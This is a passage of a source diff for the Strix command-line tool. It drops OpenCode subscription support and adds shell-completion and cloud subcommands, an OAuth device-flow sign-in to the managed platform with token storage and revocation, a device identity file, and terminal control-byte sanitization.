-from strix.config import codex, load_settings, opencode
+from strix.config import codex, load_settings
 from strix.interface.utils import (
     check_docker_connection,
     image_exists,
@@ -37,17 +37,6 @@ def validate_environment() -> None:
         logger.info("Environment OK (ChatGPT subscription)")
         return
 
-    oc = opencode.subscription_model(settings.llm.model)
-    if oc:
-        if not opencode.is_authenticated():
-            console.print(
-                f"[red]STRIX_LLM={settings.llm.model} runs on {oc.label}, "
-                "but you're not signed in.[/] Run [cyan]strix auth login opencode[/] first."
-            )
-            sys.exit(1)
-        logger.info("Environment OK (%s)", oc.label)
-        return
-
     if not settings.llm.model:
         missing_required_vars.append("STRIX_LLM")
 

strix/interface/main.py

@@ -13,7 +13,7 @@ from rich.console import Console
 from rich.panel import Panel
 from rich.text import Text
 
-from strix.config import codex, load_settings, opencode, persist_current
+from strix.config import codex, load_settings, persist_current
 from strix.core.paths import run_dir_for
 from strix.interface.cli_args import parse_arguments
 from strix.interface.environment import (
@@ -62,6 +62,14 @@ import logging  # noqa: E402
 
 logger = logging.getLogger(__name__)
 
+_ROOT_SUBCOMMAND_HELP = """
+Additional commands:
+  strix cloud ...          Use the managed Strix platform
+  strix auth ...           Manage model-subscription sign-in
+  strix view [RUN]         View a completed or running scan
+  strix completions SHELL  Generate zsh, bash, or fish tab completion
+"""
+
 
 def _exception_messages(exc: BaseException) -> tuple[str, ...]:
     messages: list[str] = []
@@ -104,14 +112,8 @@ def _provider_import_hint(exc: BaseException, model: str) -> str | None:
 
 
 def _subscription_error_hint(exc: BaseException) -> str | None:
-    """Return an actionable hint for a known subscription error, or None."""
-    model = load_settings().llm.model
-    if opencode.subscription_model(model):
-        joined = " ".join(_exception_messages(exc)).lower()
-        if "error code: 401" in joined or "http 401" in joined or "unauthorized" in joined:
-            return "Your OpenCode API key was rejected. Sign in again:\n  strix auth login opencode"
-        return None
-    if not codex.subscription_model(model):
+    """Return an actionable hint for a known ChatGPT-subscription error, or None."""
+    if not codex.subscription_model(load_settings().llm.model):
         return None
     joined = " ".join(_exception_messages(exc)).lower()
     if "not supported when using codex with a chatgpt account" in joined:
@@ -416,6 +418,13 @@ def main() -> None:
     if sys.platform == "win32":
         asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
 
+    if len(sys.argv) == 2 and sys.argv[1] in ("-h", "--help"):
+        try:
+            parse_arguments()
+        except SystemExit as exc:
+            Console().print(_ROOT_SUBCOMMAND_HELP.strip(), markup=False)
+            raise SystemExit(exc.code) from None
+
     # `strix view [<run>]` is a viewer-only subcommand, dispatched before the
     # scan argument parser (which requires a target) and before any scan setup.
     if len(sys.argv) > 1 and sys.argv[1] == "view":
@@ -431,6 +440,19 @@ def main() -> None:
 
         sys.exit(run_auth(sys.argv[2:]))
 
+    # Generate native shell completion scripts before scan argument parsing.
+    if len(sys.argv) > 1 and sys.argv[1] in ("completion", "completions"):
+        from strix.interface.completions import run_completions
+
+        sys.exit(run_completions(sys.argv[2:]))
+
+    # `strix cloud …` drives the managed platform (app.strix.ai) and exits;
+    # it needs no target, Docker, or scan setup.
+    if len(sys.argv) > 1 and sys.argv[1] == "cloud":
+        from strix.interface.cloud import run_cloud
+
+        sys.exit(run_cloud(sys.argv[2:]))
+
     from strix.llm.warmup import start_import_warmup
 
     start_import_warmup()

strix/interface/platform_cli.py

@@ -0,0 +1,798 @@
+"""`strix cloud login` — managed platform sign-in (app.strix.ai).
+
+Signing in runs an OAuth 2.0 device authorization flow in the browser, creates
+the Strix account and workspace when they do not exist yet, and stores a
+personal API token in ``~/.strix/platform-auth.json``. The token drives the
+managed REST API (scans, credits, top-ups) without a dashboard visit.
+"""
+
+from __future__ import annotations
+
+import argparse
+import contextlib
+import json
+import sys
+import time
+import webbrowser
+from pathlib import Path
+from typing import Any, NoReturn, cast
+from urllib.parse import urlparse, urlsplit, urlunsplit
+
+import requests
+from rich.console import Console
+from rich.markup import escape
+from rich.panel import Panel
+from rich.text import Text
+
+from strix.config import load_settings
+from strix.interface.platform_identity import read_or_create_identity
+from strix.interface.terminal_text import sanitize_terminal_text
+from strix.interface.url_safety import is_safe_web_url
+from strix.utils.secret_files import write_secret_text
+
+
+AUTH_PATH = Path.home() / ".strix" / "platform-auth.json"
+
+_HTTP_TIMEOUT_S = 30
+_DEFAULT_POLL_INTERVAL_S = 5
+_MAX_POLL_INTERVAL_S = 60
+_MAX_EXPIRES_IN_S = 30 * 60
+
+_ROLE_RANK = {"viewer": 0, "analyst": 1, "admin": 2}
+
+
+class PlatformAuthError(Exception):
+    """Raised when the device authorization flow fails."""
+
+
+class _SessionUsageError(Exception):
+    """A session subcommand received invalid arguments."""
+
+
+class _SessionArgumentParser(argparse.ArgumentParser):
+    def error(self, message: str) -> NoReturn:
+        raise _SessionUsageError(f"invalid arguments for {self.prog}: {message}")
+
+
+def _terminal_markup(value: object) -> str:
+    return escape(sanitize_terminal_text(value))
+
+
+def _app_url() -> str:
+    return load_settings().viewer.app_url.rstrip("/")
+
+
+def read_record() -> dict[str, Any] | None:
+    try:
+        data = json.loads(AUTH_PATH.read_text(encoding="utf-8"))
+    except (OSError, json.JSONDecodeError):
+        return None
+    if not isinstance(data, dict):
+        return None
+    record = cast("dict[str, Any]", data)
+    if not record.get("api_token"):
+        return None
+    return record
+
+
+def save_record(record: dict[str, Any]) -> None:
+    write_secret_text(AUTH_PATH, json.dumps(record, indent=2))
+
+
+def logout() -> bool:
+    try:
+        AUTH_PATH.unlink()
+    except FileNotFoundError:
+        return True
+    except OSError:
+        return False
+    return True
+
+
+def run_login(argv: list[str]) -> int:
+    """Entry point for ``strix cloud login``. Returns a process exit code."""
+    console = Console()
+    subcommand = argv[0] if argv else None
+
+    if subcommand == "status":
+        return _status(console, argv[1:])
+    if subcommand == "logout":
+        return _logout(console, argv[1:])
+    return _login(console, argv)
+
+
+def _login(console: Console, argv: list[str]) -> int:
+    parser = argparse.ArgumentParser(prog="strix cloud login", add_help=True)
+    parser.add_argument(
+        "--no-browser",
+        action="store_true",
+        help="Do not open the browser. Print the verification URL instead.",
+    )
+    scope_mode = parser.add_mutually_exclusive_group()
+    scope_mode.add_argument(
+        "--scopes",
+        nargs="+",
+        metavar="SCOPE",
+        default=None,
+        help=(
+            "API scopes for the token, for example scans:read billing:write. "
+            "The server always includes a minimum scope set. "
+            "Without this option, an interactive picker opens after the browser step."
+        ),
+    )
+    scope_mode.add_argument(
+        "--scope-profile",
+        choices=("minimal", "recommended", "full"),
+        default=None,
+        help="Scope profile to approve. Defaults to an interactive choice in a TTY.",
+    )
+    parser.add_argument(
+        "--device-name",
+        default=None,
+        metavar="NAME",
+        help="Privacy-safe label shown for this CLI session in the dashboard.",
+    )
+    parser.add_argument(
+        "--workspace",
+        metavar="WORKSPACE",
+        default=None,
+        help=(
+            "Workspace that receives the token, by ID or by exact name. "
+            "Without this option, an interactive picker opens when you have "
+            "more than one workspace."
+        ),
+    )
+    previous_record = read_record()
+    try:
+        args = parser.parse_args(argv)
+    except SystemExit as exc:  # argparse already printed the message
+        return exc.code if isinstance(exc.code, int) else 2
+
+    console.print()
+    host = urlparse(_app_url()).netloc or _app_url()
+    console.print(f"[bold]Signing in to the Strix platform[/] [dim]({_terminal_markup(host)})[/]")
+    console.print(
+        "[dim]This creates your account and workspace when needed, and stores an API token.[/]"
+    )
+    console.print()
+
+    try:
+        record = _run_device_flow(
+            console,
+            open_browser=not args.no_browser,
+            scopes=args.scopes,
+            scope_profile=args.scope_profile,
+            workspace=args.workspace,
+            device_name=args.device_name,
+        )
+    except PlatformAuthError as exc:
+        console.print(f"[red]Sign-in failed:[/] {_terminal_markup(exc)}")
+        return 1
+    except KeyboardInterrupt:
+        console.print("\n[yellow]Sign-in cancelled.[/]")
+        return 130
+
+    try:
+        save_record(record)
+    except OSError as exc:
+        console.print(
+            f"[red]Sign-in succeeded, but the token could not be stored:[/] {_terminal_markup(exc)}"
+        )
+        console.print(
+            f"[dim]Check that {_terminal_markup(AUTH_PATH.parent)} is writable, "
+            "then run `strix cloud login` again.[/]"
+        )
+        return 1
+    _revoke_replaced_legacy_session(previous_record, record)
+    _print_success(console, record)
+    return 0
+
+
+def _run_device_flow(  # noqa: PLR0912, PLR0915
+    console: Console,
+    *,
+    open_browser: bool,
+    scopes: list[str] | None = None,
+    scope_profile: str | None = None,
+    workspace: str | None = None,
+    device_name: str | None = None,
+) -> dict[str, Any]:
+    app_url = _app_url()
+    interactive = workspace is not None or (
+        sys.stdin.isatty() and scopes is None and scope_profile is None
+    )
+    try:
+        identity = read_or_create_identity(device_name=device_name)
+    except (OSError, ValueError) as exc:
+        raise PlatformAuthError(f"could not prepare the CLI device identity: {exc}") from exc
+
+    try:
+        response = requests.post(
+            f"{app_url}/api/v1/cli/login",
+            timeout=_HTTP_TIMEOUT_S,
+            allow_redirects=False,
+        )
+    except requests.RequestException as exc:
+        raise PlatformAuthError(f"could not reach {app_url}: {exc}") from exc
+    if not 200 <= response.status_code < 300:
+        raise PlatformAuthError(_error_detail(response))
+    authorization = _json_object(response)
+
+    user_code = str(authorization.get("user_code") or "")
+    verification_uri = str(
+        authorization.get("verification_uri_complete")
+        or authorization.get("verification_uri")
+        or ""
+    )
+    device_code = str(authorization.get("device_code") or "")
+    expires_in = _as_positive_int(
+        authorization.get("expires_in"), default=300, maximum=_MAX_EXPIRES_IN_S
+    )
+    interval = _as_positive_int(
+        authorization.get("interval"),
+        default=_DEFAULT_POLL_INTERVAL_S,
+        maximum=_MAX_POLL_INTERVAL_S,
+    )
+    if not device_code or not verification_uri:
+        raise PlatformAuthError("the server returned an incomplete device authorization")
+    if not is_safe_web_url(verification_uri, trusted_origin=app_url):
+        raise PlatformAuthError("the server returned an invalid verification URL")
+
+    console.print(
+        Panel.fit(
+            Text.assemble(
+                ("Confirmation code: ", "dim"),
+                (sanitize_terminal_text(user_code), "bold cyan"),
+            ),
+            title="Verify this device",
+        )
+    )
+    console.print("Open this URL in your browser and confirm the code:")
+    console.print(sanitize_terminal_text(verification_uri), markup=False, soft_wrap=True)
+
+    if open_browser:
+        with contextlib.suppress(Exception):
+            webbrowser.open(verification_uri)
+
+    console.print("[dim]Waiting for browser confirmation…[/]")
+
+    poll_body: dict[str, Any] = {"device_code": device_code, **identity}
+    if interactive:
+        poll_body["interactive"] = True
+    elif scopes:
+        poll_body["scopes"] = scopes
+    elif scope_profile:
+        poll_body["scope_profile"] = scope_profile
+
+    deadline = time.monotonic() + expires_in
+    while time.monotonic() < deadline:
+        remaining = deadline - time.monotonic()
+        if remaining <= 0:
+            break
+        time.sleep(min(interval, remaining))
+        try:
+            poll = requests.post(
+                f"{app_url}/api/v1/cli/login/poll",
+                json=poll_body,
+                timeout=_HTTP_TIMEOUT_S,
+                allow_redirects=False,
+            )
+        except requests.RequestException:
+            continue
+        if 200 <= poll.status_code < 300:
+            return _finish_login(
+                console,
+                app_url,
+                poll,
+                scopes=scopes,
+                scope_profile=scope_profile,
+                workspace=workspace,
+            )
+        delta = _handle_poll_error(poll)
+        if delta is None:
+            break
+        interval = min(interval + delta, _MAX_POLL_INTERVAL_S)
+
+    raise PlatformAuthError("the sign-in request expired. Run `strix cloud login` again.")
+
+
+def _handle_poll_error(poll: requests.Response) -> int | None:
+    """Return the interval increase, or None when the device code expired."""
+    error = ""
+    with contextlib.suppress(ValueError, AttributeError):
+        error = str(poll.json().get("error", ""))
+    if error == "authorization_pending":
+        return 0
+    if error == "slow_down":
+        return 5
+    if error == "access_denied":
+        raise PlatformAuthError("the sign-in request was denied in the browser")
+    if error == "expired_token":
+        return None
+    raise PlatformAuthError(_error_detail(poll))
+
+
+def _finish_login(
+    console: Console,
+    app_url: str,
+    poll: requests.Response,
+    *,
+    scopes: list[str] | None,
+    scope_profile: str | None,
+    workspace: str | None,
+) -> dict[str, Any]:
+    result = _json_object(poll)
+    if result.get("selection_required"):
+        return _complete_selection(
+            console,
+            app_url,
+            result,
+            scopes=scopes,
+            scope_profile=scope_profile,
+            workspace=workspace,
+        )
+    return _bind_login_record(_require_api_token(result), app_url)
+
+
+def _signed_in_record(
+    response: requests.Response,
+    *,
+    app_url: str,
+) -> dict[str, Any]:
+    return _bind_login_record(
+        _require_api_token(_json_object(response)),
+        app_url,
+    )
+
+
+def _require_api_token(record: dict[str, Any]) -> dict[str, Any]:
+    api_token = record.get("api_token")
+    if not isinstance(api_token, str) or not api_token.strip():
+        raise PlatformAuthError("the server returned a sign-in response without an API token")
+    return record
+
+
+def _bind_login_record(record: dict[str, Any], app_url: str) -> dict[str, Any]:
+    """Bind a stored credential to its issuer and preserve its scope preference."""
+    parsed = urlsplit(app_url)
+    if (
+        parsed.scheme not in {"http", "https"}
+        or not parsed.netloc
+        or parsed.username is not None
+        or parsed.password is not None
+        or parsed.query
+        or parsed.fragment
+        or "\\" in app_url
+        or any(character.isspace() for character in app_url)
+        or "%" in parsed.netloc
+    ):
+        raise PlatformAuthError("the configured platform URL is invalid")
+    bound = dict(record)
+    bound["app_url"] = urlunsplit(
+        (parsed.scheme.lower(), parsed.netloc.lower(), parsed.path.rstrip("/"), "", "")
+    )
+    preference: Any = record.get("requested_scopes", record.get("scopes"))
+    preference_items = cast("list[Any]", preference)
+    if isinstance(preference, list) and all(isinstance(scope, str) for scope in preference_items):
+        bound["requested_scopes"] = list(dict.fromkeys(cast("list[str]", preference_items)))
+    return bound
+
+
+def _complete_selection(
+    console: Console,
+    app_url: str,
+    selection: dict[str, Any],
+    *,
+    scopes: list[str] | None,
+    scope_profile: str | None,
+    workspace: str | None,
+) -> dict[str, Any]:
+    organizations = _dict_items(selection.get("organizations"))
+    catalog = _dict_items(selection.get("scopes"))
+    selection_token = str(selection.get("selection_token") or "")
+    if not selection_token or not organizations:
+        raise PlatformAuthError("the server returned an incomplete selection response")
+
+    chosen_org = _choose_workspace(console, organizations, workspace)
+    role = str(chosen_org.get("role") or "admin")
+    chosen_scopes = scopes
+    chosen_profile = scope_profile
+    if chosen_scopes is None and chosen_profile is None and sys.stdin.isatty():
+        chosen_profile, chosen_scopes = _choose_scopes(console, catalog, role)
+
+    body: dict[str, Any] = {
+        "selection_token": selection_token,
+        "organization_id": chosen_org.get("id"),
+    }
+    if chosen_scopes is not None:
+        body["scopes"] = chosen_scopes
+        body["scope_profile"] = "custom"
+    elif chosen_profile is not None:
+        body["scope_profile"] = chosen_profile
+    try:
+        response = requests.post(
+            f"{app_url}/api/v1/cli/login/complete",
+            json=body,
+            timeout=_HTTP_TIMEOUT_S,
+            allow_redirects=False,
+        )
+    except requests.RequestException as exc:
+        raise PlatformAuthError(f"could not reach {app_url}: {exc}") from exc
+    if not 200 <= response.status_code < 300:
+        raise PlatformAuthError(_error_detail(response))
+    return _signed_in_record(
+        response,
+        app_url=app_url,
+    )
+
+
+def _dict_items(value: Any) -> list[dict[str, Any]]:
+    if not isinstance(value, list):
+        return []
+    items = cast("list[Any]", cast("Any", value))
+    return [cast("dict[str, Any]", cast("Any", item)) for item in items if isinstance(item, dict)]
+
+
+def _choose_workspace(
+    console: Console, organizations: list[dict[str, Any]], workspace: str | None
+) -> dict[str, Any]:
+    if workspace is not None:
+        wanted = workspace.strip().casefold()
+        by_id = [org for org in organizations if str(org.get("id", "")).casefold() == wanted]
+        if by_id:
+            return by_id[0]
+        by_name = [
+            org for org in organizations if str(org.get("name", "")).strip().casefold() == wanted
+        ]
+        if len(by_name) == 1:
+            return by_name[0]
+        if len(by_name) > 1:
+            matching_ids = ", ".join(str(org.get("id", "")) for org in by_name)
+            raise PlatformAuthError(
+                f"multiple workspaces are named {workspace!r}; use an exact workspace ID: "
+                f"{matching_ids}"
+            )
+        names = ", ".join(str(org.get("name", "")) for org in organizations)
+        raise PlatformAuthError(f"no workspace matches {workspace!r}. Your workspaces: {names}")
+    if len(organizations) == 1:
+        return organizations[0]
+    if not sys.stdin.isatty():
+        choices = ", ".join(f"{org.get('name', '')} ({org.get('id', '')})" for org in organizations)
+        raise PlatformAuthError(
+            "more than one workspace is available; rerun with --workspace NAME_OR_ID. "
+            f"Available workspaces: {choices}"
+        )
+
+    console.print()
+    console.print("[bold]Select a workspace for the API token:[/]")
+    for index, org in enumerate(organizations, start=1):
+        name = _terminal_markup(org.get("name", ""))
+        org_role = _terminal_markup(org.get("role", ""))
+        console.print(f"  [cyan]{index}[/]. {name} [dim]({org_role})[/]")
+    while True:
+        answer = console.input(f"Workspace [1-{len(organizations)}] (1): ").strip() or "1"
+        if answer.isdigit() and 1 <= int(answer) <= len(organizations):
+            return organizations[int(answer) - 1]
+        console.print("[yellow]Enter a number from the list.[/]")
+
+
+def _choose_scopes(
+    console: Console, catalog: list[dict[str, Any]], role: str
+) -> tuple[str, list[str] | None]:
+    """Prompt for a named scope profile or a custom scope list."""
+    rank = _ROLE_RANK.get(role, 2)
+    allowed = [
+        item for item in catalog if _ROLE_RANK.get(str(item.get("min_role", "viewer")), 0) <= rank
+    ]
+    if not allowed:
+        return "recommended", None
+
+    console.print()
+    console.print("[bold]Select token scopes:[/]")
+    console.print(
+        "  [cyan]1[/]. Recommended [dim](scans, findings, schedules, assets, uploads, "
+        "workspace switching, billing/top-ups; no token creation)[/]"
+    )
+    console.print("  [cyan]2[/]. Full access [dim](every scope your role allows)[/]")
+    console.print("  [cyan]3[/]. Minimal [dim](scan read/write and billing read)[/]")
+    console.print("  [cyan]4[/]. Custom [dim](pick individual scopes)[/]")
+    while True:
+        answer = console.input("Scopes [1-4] (1): ").strip() or "1"
+        if answer == "1":
+            return "recommended", None
+        if answer == "2":
+            return "full", None
+        if answer == "3":
+            return "minimal", None
+        if answer == "4":
+            return "custom", _choose_custom_scopes(console, allowed)
+        console.print("[yellow]Enter a number from 1 to 4.[/]")
+
+
+def _choose_custom_scopes(console: Console, allowed: list[dict[str, Any]]) -> list[str]:
+    selected = {
+        str(item["scope"])
+        for item in allowed
+        if item.get("scope") and (item.get("default") or item.get("minimum"))
+    }
+    while True:
+        console.print()
+        for index, item in enumerate(allowed, start=1):
+            scope = str(item.get("scope", ""))
+            mark = "[green]x[/]" if scope in selected else " "
+            required = " [dim](always included)[/]" if item.get("minimum") else ""
+            rendered_scope = _terminal_markup(scope)
+            description = _terminal_markup(item.get("description", ""))
+            console.print(
+                f"  [{mark}] [cyan]{index:>2}[/]. {rendered_scope}{required}"
+                f"\n         [dim]{description}[/]"
+            )
+        answer = console.input(
+            "Toggle scopes by number (comma separated), or press Enter to confirm: "
+        ).strip()
+        if not answer:
+            return sorted(selected)
+        for part in answer.replace(",", " ").split():
+            if not part.isdigit() or not 1 <= int(part) <= len(allowed):
+                console.print(
+                    f"[yellow]Ignored {_terminal_markup(part)!r}: not a number from the list.[/]"
+                )
+                continue
+            item = allowed[int(part) - 1]
+            scope = str(item.get("scope", ""))
+            if item.get("minimum"):
+                console.print(f"[yellow]{_terminal_markup(scope)} is always included.[/]")
+                continue
+            if scope in selected:
+                selected.discard(scope)
+            else:
+                selected.add(scope)
+
+
+def _json_object(response: requests.Response) -> dict[str, Any]:
+    try:
+        data = response.json()
+    except ValueError as exc:
+        raise PlatformAuthError("the server returned a response that is not JSON") from exc
+    if not isinstance(data, dict):
+        raise PlatformAuthError("the server returned an unexpected response shape")
+    return cast("dict[str, Any]", data)
+
+
+def _as_positive_int(value: Any, *, default: int, maximum: int) -> int:
+    try:
+        parsed = int(value)
+    except (TypeError, ValueError, OverflowError):
+        return default
+    if parsed <= 0:
+        return default
+    return min(parsed, maximum)
+
+
+def _error_detail(response: requests.Response) -> str:
+    with contextlib.suppress(ValueError, AttributeError):
+        detail = response.json().get("detail")
+        if detail:
+            return str(detail)
+    return f"HTTP {response.status_code}"
+
+
+def _session_headers(record: dict[str, Any]) -> dict[str, str]:
+    headers = {"Authorization": f"Bearer {record['api_token']}"}
+    workspace_id = record.get("organization_id")
+    if isinstance(workspace_id, str) and workspace_id:
+        headers["X-Strix-Workspace"] = workspace_id
+    return headers
+
+
+def _revoke_stored_session(record: dict[str, Any]) -> tuple[bool, str | None]:
+    """Revoke one server session; return (definitively_inactive, error)."""
+    app_url = record.get("app_url")
+    if not isinstance(app_url, str) or not app_url:
+        return False, (
+            "the stored sign-in has no trusted platform URL; use --local-only to remove it"
+        )
+    try:
+        response = requests.delete(
+            f"{app_url.rstrip('/')}/api/v1/cli/session",
+            headers=_session_headers(record),
+            timeout=_HTTP_TIMEOUT_S,
+            allow_redirects=False,
+        )
+    except requests.RequestException as exc:
+        return False, f"could not revoke the remote CLI session: {exc}"
+    if response.status_code in {200, 204, 401}:
+        return True, None
+    return False, f"could not revoke the remote CLI session: {_error_detail(response)}"
+
+
+def _print_logout_failure(console: Console, message: str, *, as_json: bool) -> int:
+    if as_json:
+        sys.stdout.write(json.dumps({"error": message, "removed": False}) + "\n")
+    else:
+        console.print(f"[red]Sign-out failed:[/] {_terminal_markup(message)}")
+        console.print("[dim]The local token was kept so you can safely retry.[/]")
+    return 1
+
+
+def _revoke_replaced_legacy_session(
+    previous: dict[str, Any] | None, current: dict[str, Any]
+) -> None:
+    """Best-effort cleanup when the first device-aware login replaces a legacy token."""
+    if not previous or previous.get("api_token") == current.get("api_token"):
+        return
+    if previous.get("app_url") != current.get("app_url"):
+        return
+    with contextlib.suppress(KeyError, requests.RequestException):
+        requests.delete(
+            f"{previous['app_url']}/api/v1/cli/session",
+            headers=_session_headers(previous),
+            timeout=_HTTP_TIMEOUT_S,
+            allow_redirects=False,
+        )
+
+
+def _print_success(console: Console, record: dict[str, Any]) -> None:
+    email = record.get("email", "")
+    organization = record.get("organization_name") or record.get("organization_id", "")
+    console.print()
+    console.print("[green]✓ Signed in to the Strix platform.[/]")
+    if email:
+        console.print(f"  Account:   [bold]{_terminal_markup(email)}[/]")
+    if organization:
+        console.print(f"  Workspace: [bold]{_terminal_markup(organization)}[/]")
+    scopes = record.get("scopes")
+    if isinstance(scopes, list) and scopes:
+        console.print(f"  Access:    [dim]{_terminal_markup(_scope_summary(record))}[/]")
+    console.print(f"  Token:     stored in [dim]{_terminal_markup(AUTH_PATH)}[/]")
+    console.print()
+    console.print(
+        "[dim]The managed platform is ready. Run `strix cloud` to list the commands. "
+        "See https://docs.app.strix.ai for the API reference.[/]"
+    )
+
+
+def _status(console: Console, argv: list[str]) -> int:  # noqa: PLR0912
+    parser = _SessionArgumentParser(
+        prog="strix cloud whoami",
+        description="Show the stored managed-platform account, workspace, scopes, and expiry.",
+    )
+    parser.add_argument("--json", action="store_true", help="Print the session as JSON.")
+    parser.add_argument("--show-scopes", action="store_true", help="Print every granted scope.")
+    as_json = "--json" in argv or not sys.stdout.isatty()
+    try:
+        args = parser.parse_args(argv)
+    except _SessionUsageError as exc:
+        if as_json:
+            sys.stdout.write(json.dumps({"error": str(exc)}) + "\n")
+        else:
+            console.print(f"[red]Error:[/] {_terminal_markup(exc)}")
+        return 2
+    except SystemExit as exc:
+        return exc.code if isinstance(exc.code, int) else 2
+
+    as_json = bool(args.json) or not sys.stdout.isatty()
+    record = read_record()
+    if record is None:
+        if as_json:
+            sys.stdout.write(json.dumps({"signed_in": False, "error": "Not signed in"}) + "\n")
+            return 1
+        console.print("[yellow]Not signed in.[/] Run [bold]strix cloud login[/] to sign in.")
+        return 1
+    email = record.get("email", "unknown")
+    organization = record.get("organization_name") or record.get("organization_id", "")
+    expires_at = record.get("expires_at", "")
+    if as_json:
+        payload = {
+            "signed_in": True,
+            "email": email,
+            "organization_id": record.get("organization_id"),
+            "organization_name": record.get("organization_name"),
+            "scopes": record.get("scopes", []),
+            "expires_at": expires_at or None,
+            **({"app_url": record["app_url"]} if record.get("app_url") else {}),
+        }
+        sys.stdout.write(json.dumps(payload, indent=2, default=str) + "\n")
+        return 0
+    console.print(f"[green]Signed in[/] as [bold]{_terminal_markup(email)}[/]")
+    if organization:
+        console.print(f"  Workspace: {_terminal_markup(organization)}")
+    if expires_at:
+        console.print(f"  Token expires: {_terminal_markup(expires_at)}")
+    if record.get("app_url"):
+        console.print(f"  Platform: {_terminal_markup(record['app_url'])}")
+    scopes = record.get("scopes")
+    if isinstance(scopes, list) and scopes:
+        scope_items = cast("list[Any]", cast("Any", scopes))
+        if args.show_scopes:
+            console.print(
+                f"  Scopes: {_terminal_markup(' '.join(str(scope) for scope in scope_items))}"
+            )
+        else:
+            console.print(f"  Access: {_terminal_markup(_scope_summary(record))}")
+    return 0
+
+
+def _scope_summary(record: dict[str, Any]) -> str:
+    scopes = record.get("scopes")
+    scope_items = cast("list[Any]", cast("Any", scopes)) if isinstance(scopes, list) else []
+    count = len(scope_items)
+    profile = str(record.get("scope_profile") or "custom").replace("_", " ").title()
+    return f"{profile} · {count} scope{'s' if count != 1 else ''} granted"
+
+
+def _logout(console: Console, argv: list[str]) -> int:  # noqa: PLR0911, PLR0912
+    parser = _SessionArgumentParser(
+        prog="strix cloud logout",
+        description="Revoke this CLI session and remove its token from this machine.",
+    )
+    parser.add_argument("--json", action="store_true", help="Print the result as JSON.")
+    parser.add_argument(
+        "--local-only",
+        action="store_true",
+        help="Remove only the local token, leaving the remote session active.",
+    )
+    as_json = "--json" in argv or not sys.stdout.isatty()
+    try:
+        args = parser.parse_args(argv)
+    except _SessionUsageError as exc:
+        if as_json:
+            sys.stdout.write(json.dumps({"error": str(exc)}) + "\n")
+        else:
+            console.print(f"[red]Error:[/] {_terminal_markup(exc)}")
+        return 2
+    except SystemExit as exc:
+        return exc.code if isinstance(exc.code, int) else 2
+    as_json = bool(args.json) or not sys.stdout.isatty()
+    if read_record() is None and not AUTH_PATH.exists():
+        if as_json:
+            sys.stdout.write(json.dumps({"signed_in": False, "removed": False}) + "\n")
+            return 0
+        console.print("[yellow]Not signed in.[/]")
+        return 0
+    record = read_record()
+    remotely_revoked = False
+    if record is not None and not args.local_only:
+        remotely_revoked, revoke_error = _revoke_stored_session(record)
+        if revoke_error:
+            return _print_logout_failure(console, revoke_error, as_json=as_json)
+
+    if not logout():
+        if as_json:
+            sys.stdout.write(
+                json.dumps(
+                    {
+                        "error": "Could not remove the stored API token",
+                        "signed_in": True,
+                        "removed": False,
+                    }
+                )
+                + "\n"
+            )
+            return 1
+        console.print(
+            f"[red]Could not remove the stored API token.[/] Delete "
+            f"{_terminal_markup(AUTH_PATH)} manually."
+        )
+        return 1
+    if as_json:
+        sys.stdout.write(
+            json.dumps(
+                {
+                    "signed_in": False,
+                    "removed": True,
+                    "remotely_revoked": remotely_revoked,
+                    "local_only": bool(args.local_only),
+                }
+            )
+            + "\n"
+        )
+        return 0
+    if args.local_only:
+        console.print(
+            "[yellow]Local sign-out only.[/] The remote CLI session is still active; "
+            "revoke it from API Access if needed."
+        )
+    else:
+        console.print("[green]Signed out.[/] The CLI session was revoked and removed locally.")
+    return 0

strix/interface/platform_identity.py

@@ -0,0 +1,46 @@
+"""Stable, privacy-safe identity for this Strix CLI installation."""
+
+from __future__ import annotations
+
+import json
+import platform
+from pathlib import Path
+from typing import Any, cast
+from uuid import uuid4
+
+from strix.utils.secret_files import write_secret_text
+
+
+IDENTITY_PATH = Path.home() / ".strix" / "cli-identity.json"
+
+
+def _default_device_name(instance_id: str) -> str:
+    system = {"Darwin": "macOS", "Windows": "Windows", "Linux": "Linux"}.get(
+        platform.system(), "Computer"
+    )
+    return f"{system} CLI · {instance_id[:8]}"
+
+
+def read_or_create_identity(*, device_name: str | None = None) -> dict[str, str]:
+    """Return one installation ID, optionally updating its user-facing label."""
+    record: dict[str, Any] = {}
+    try:
+        raw = json.loads(IDENTITY_PATH.read_text(encoding="utf-8"))
+        if isinstance(raw, dict):
+            record = cast("dict[str, Any]", raw)
+    except (OSError, json.JSONDecodeError):
+        pass
+
+    instance_id = record.get("client_instance_id")
+    if not isinstance(instance_id, str) or len(instance_id) < 8:
+        instance_id = str(uuid4())
+    label = device_name.strip() if device_name is not None else record.get("device_name")
+    if not isinstance(label, str) or not label.strip():
+        label = _default_device_name(instance_id)
+    label = " ".join(label.split())
+    if not 1 <= len(label) <= 80:
+        raise ValueError("device name must be 1-80 printable characters")
+
+    identity = {"client_instance_id": instance_id, "device_name": label}
+    write_secret_text(IDENTITY_PATH, json.dumps(identity, indent=2))
+    return identity

strix/interface/scan_setup.py

@@ -14,7 +14,7 @@ import logging
 from datetime import UTC, datetime
 from typing import TYPE_CHECKING, Any
 
-from strix.config import Settings, load_settings, opencode
+from strix.config import Settings, codex, load_settings
 from strix.core.paths import run_dir_for
 from strix.interface.utils import (
     assign_workspace_subdirs,
@@ -226,7 +226,7 @@ def telemetry_start(args: argparse.Namespace) -> None:
     model = load_settings().llm.model
     kwargs = {
         "model": model,
-        "auth_mode": opencode.auth_mode(model),
+        "auth_mode": codex.auth_mode(model),
         "scan_mode": args.scan_mode,
         "is_whitebox": is_whitebox_scan(args.targets_info),
         "interactive": not args.non_interactive,
@@ -247,8 +247,7 @@ def _persist_run_record(args: argparse.Namespace) -> None:
         "status": "running",
         "start_time": datetime.now(UTC).isoformat(),
         "end_time": None,
-        "auth_mode": opencode.auth_mode(load_settings().llm.model),
-        "subscription_provider": opencode.subscription_provider(load_settings().llm.model),
+        "auth_mode": codex.auth_mode(load_settings().llm.model),
         "targets_info": args.targets_info,
         "scan_mode": args.scan_mode,
         "instruction": args.instruction,

strix/interface/terminal_text.py

@@ -0,0 +1,21 @@
+"""Safe rendering of untrusted text in a terminal."""
+
+from __future__ import annotations
+
+import re
+
+
+_TERMINAL_CONTROL = re.compile(r"[\x00-\x1f\x7f-\x9f]")
+
+
+def has_terminal_control(value: object) -> bool:
+    """Return whether text contains bytes that can alter terminal state/protocols."""
+    return _TERMINAL_CONTROL.search(str(value)) is not None
+
+
+def sanitize_terminal_text(value: object) -> str:
+    """Make C0/C1 control bytes visible so they cannot operate a terminal."""
+    return _TERMINAL_CONTROL.sub(
